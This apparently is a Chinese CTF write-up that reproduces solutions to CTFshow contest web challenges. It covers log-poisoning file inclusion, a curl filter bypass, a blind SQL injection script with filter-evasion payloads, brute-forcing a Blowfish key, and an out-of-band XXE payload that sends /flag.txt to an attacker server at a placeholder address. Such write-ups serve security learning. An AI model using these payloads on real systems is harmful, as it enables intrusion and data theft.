[复现]CTFshow-AK赛

签到_观己

给了源码

<?php

if(isset($_GET[‘file‘])){
    $file = $_GET[‘file‘];
    if(preg_match(‘/php/i‘, $file)){
        die(‘error‘);
    }else{
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

?>

文件包含,过滤了php,测试一下都能包含啥

[复现]CTFshow-AK赛

这玩意能包含,日志文件应该也可以

[复现]CTFshow-AK赛

请求头有写是nginx,所以日志目录应该是/var/log/nginx/access.log

[复现]CTFshow-AK赛

因为在url上写一句话会被url编码,所以在请求头里写

[复现]CTFshow-AK赛

然后执行命令

[复现]CTFshow-AK赛

剩下的就是找flag了

[复现]CTFshow-AK赛

[复现]CTFshow-AK赛

web1_观字

给了源码

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET[‘url‘])){
    $url = $_GET[‘url‘];
    $protocol = substr($url, 0,7);
    if($protocol!=‘http://‘){
        die(‘仅限http协议访问‘);
    }
    if(preg_match(‘/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\‘|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/‘, $url)){
        die(‘仅限域名地址访问‘);
    }
    system(‘curl ‘.$url);
}

提示了flag位置,没有过滤“。”,可以直接用“。”代替“.”

payload:?url=http://192。168。7。68/flag

[复现]CTFshow-AK赛

web2_观星

简单测试下,是数字型的sql注入,union被过滤了,考虑盲注

黑名单过滤了不少东西,像“and”,“=”,“‘”,“||”,“"”,“空格”,“union”,“sleep”,“ascii”,“like”,“,”都没了

ascii没了可以ord,逗号没了也能绕

exp:

import requests

headers = {"User Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}
flag=""
for i in range(1,50):
    for j in list(range(44,58)) + list(range(97,126)):
        url = "http://be32a501-004f-481f-908a-f53bd1649fd2.chall.ctf.show/index.php?id="
        #payload = "0/**/or/**/ord(substr((database())/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i,j=j)
        #payload = "0/**/or/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database()))/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i, j=j)
        #payload = "0/**/or/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167))/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i, j=j)
        payload = "0/**/or/**/ord(substr((select/**/flag/**/from/**/flag)/**/from/**/{i}/**/for/**/1))/**/in/**/({j})/**/#".format(i=i, j=j)
        
        html=requests.get(headers=headers,url=url+payload).text

        if "By Rudyard Kipling" in html:
            flag+=chr(j)
            print(flag)

运行结果

[复现]CTFshow-AK赛

web3_观图

进去以后有个图片

[复现]CTFshow-AK赛

图片来自这个php,进去看到源码

<?php

//$key = substr(md5(‘ctfshow‘.rand()),3,8);
//flag in config.php
include(‘config.php‘);
if(isset($_GET[‘image‘])){
    $image=$_GET[‘image‘];
    $str = openssl_decrypt($image, ‘bf-ecb‘, $key);
    if(file_exists($str)){
        header(‘content-type:image/gif‘);
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?> 

ctfshow拼接一个随机数然后计算MD5,然后截取中间部分是key,但是rand()最大只有32768,可以爆破出来

(用一下羽师傅的脚本)

/*author 羽 */
<?php
    for($i=0;$i<32768;$i++){
    $key = substr(md5(‘ctfshow‘.$i),3,8);
    $image="Z6Ilu83MIDw=";
    $str = openssl_decrypt($image, ‘bf-ecb‘, $key);
	if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
	print($str." ");
	print($i);
	break;
	}
	}
?>

运行结果

[复现]CTFshow-AK赛

知道key了,直接算一下config.php就可以了

<?php
$key = substr(md5(‘ctfshow27347‘),3,8);
$image="config.php";
$str = openssl_encrypt($image, ‘bf-ecb‘, $key);
echo $str;
?> 

[复现]CTFshow-AK赛

[复现]CTFshow-AK赛

web4_观心

主页面是个小游戏,点占卜会请求api.php

[复现]CTFshow-AK赛

F12里提示flag在/flag.txt

[复现]CTFshow-AK赛

其中给api发送的数据有api和city两个部分

[复现]CTFshow-AK赛

看师傅们wp,发现是XXE漏洞,需要再vps上写下面两个文件

test.xml

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE test [ 

<!ENTITY % remote SYSTEM "http://ip/test.dtd"> 

%remote;%int;%send; ]>

<reset><login>bee</login><secret>Any bugs?</secret></reset>

test.dtd

<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM ‘http://ip/pass=%p1;‘>">
%p2;

然后访问就可以了

[复现]CTFshow-AK赛

[复现]CTFshow-AK赛

上一篇:js引用另一个js的方法


下一篇:Angular5 路由传参的3种方法